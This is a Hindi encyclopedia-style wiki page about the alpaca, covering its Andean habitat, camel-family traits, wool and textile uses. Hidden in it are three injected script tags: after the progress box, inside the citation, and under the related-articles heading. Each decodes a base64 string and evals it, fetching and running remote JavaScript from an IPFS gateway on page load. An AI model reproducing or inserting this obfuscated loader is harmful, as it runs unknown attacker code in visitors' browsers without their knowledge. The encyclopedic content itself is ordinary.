अल्पाका

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
अल्पाका

अल्पाका दक्षिण अमरीका के एँडीज पर्वतों के उच्च अंचलों में (14,000-16,000 फुट पर) पाए जानेवाले दो जाति के चतुष्पद जानवर हैं। इनका वैज्ञानिक नाम लामा हुआना को, जाति पाका है। इनकी गणना ऊँट की श्रेणी में की जाती है, क्योंकि इनमें ऊँट जैसा जल आमाशय (वाटर स्टमक) पाया जाता है।

यह ऊँट की श्रेणी का पशु है; इसके बाल घने और लंबे होते हैं। बाईं ओर यह बाल सहित तथा दाहिनीओर बाल काटने पर दिखाया गया है। परंतु कूबड़ नहीं होता। अल्पाका देखने में भेड़ से मिलता-जुलता है। इसका सर लंबा और गरदन आकाश की ओर उठी रहती है। शरीर घने बालों से ढका रहता है जो इसे वहाँ के अत्यधिक शीत से बचाता है। इन देशों के निवासी इसे भेड़ की भांति मुख्यत: ऊन के लिए पालते हैं। इसका मांस भी स्वादिष्ट होता है। इसके बाल चमकदार, लचीले, हल्के और अधिक गर्मी पहुँचाने वाले होते हैं। अल्पाका के शरीर में पाए जानेवाले ऊन की मात्रा भी पर्याप्त होती है।

अल्पाका के ऊन की पूरी लंबाई लगभग 12 इंच होती है, जिसमें से केवल आठ इंच वार्षिक कटाव में काटा जाता हे। ऊन का प्राकृतिक रंग मुख्यत: काला, घना, धूसर या हल्के रंग का होता है। काटने के बाद रंग तथा गुण के अनुसार इसकी छंटाई होती है, जिसे इन देशों की औरतें बड़ी चतुरता से संपन्न करती हैं। इसके मुलायम और बारीक रेशे बड़ी आसानी से बुने जा सकते हैं। पहले पहल अल्पाका कोट बनाने के काम में लाया जाता था, परंतु अब इसका उपयोग अधिकतर अस्तर के रूप में होता है।

दक्षिण अमरीका के लामा, गोयेनाको और विक्युना नामक ऊनवाले अन्य तीन पशु अल्पाका की ही जाति में परिगणित होते हैं। इनमें से अल्पाका और विक्युना का ऊन सबसे मूल्यवान माना जाता है। विक्युना अल्पाका से बड़ा एक जंगली जंतु है। लामा और अल्पाका दोनों पालतू जानवार हैं।

पहले अल्पाका के ऊन को मशीन से बुनने में बड़ी कठनाई पड़ी, क्योंकि अल्पाका का ऊन बहुत कुछ बाल की तरह होता है, परंतु शीघ्र ही पूरी सफलता मिल गई। अल्पाका अब एक जाति के ऊनी वस्त्र को कहते हैं जिसमें विशेष चमक रहती है, चाहे उसका ऊन अल्पाका नामक पशु से मिला हो, चाहे अन्य पशुओं से।[1]



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 264 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>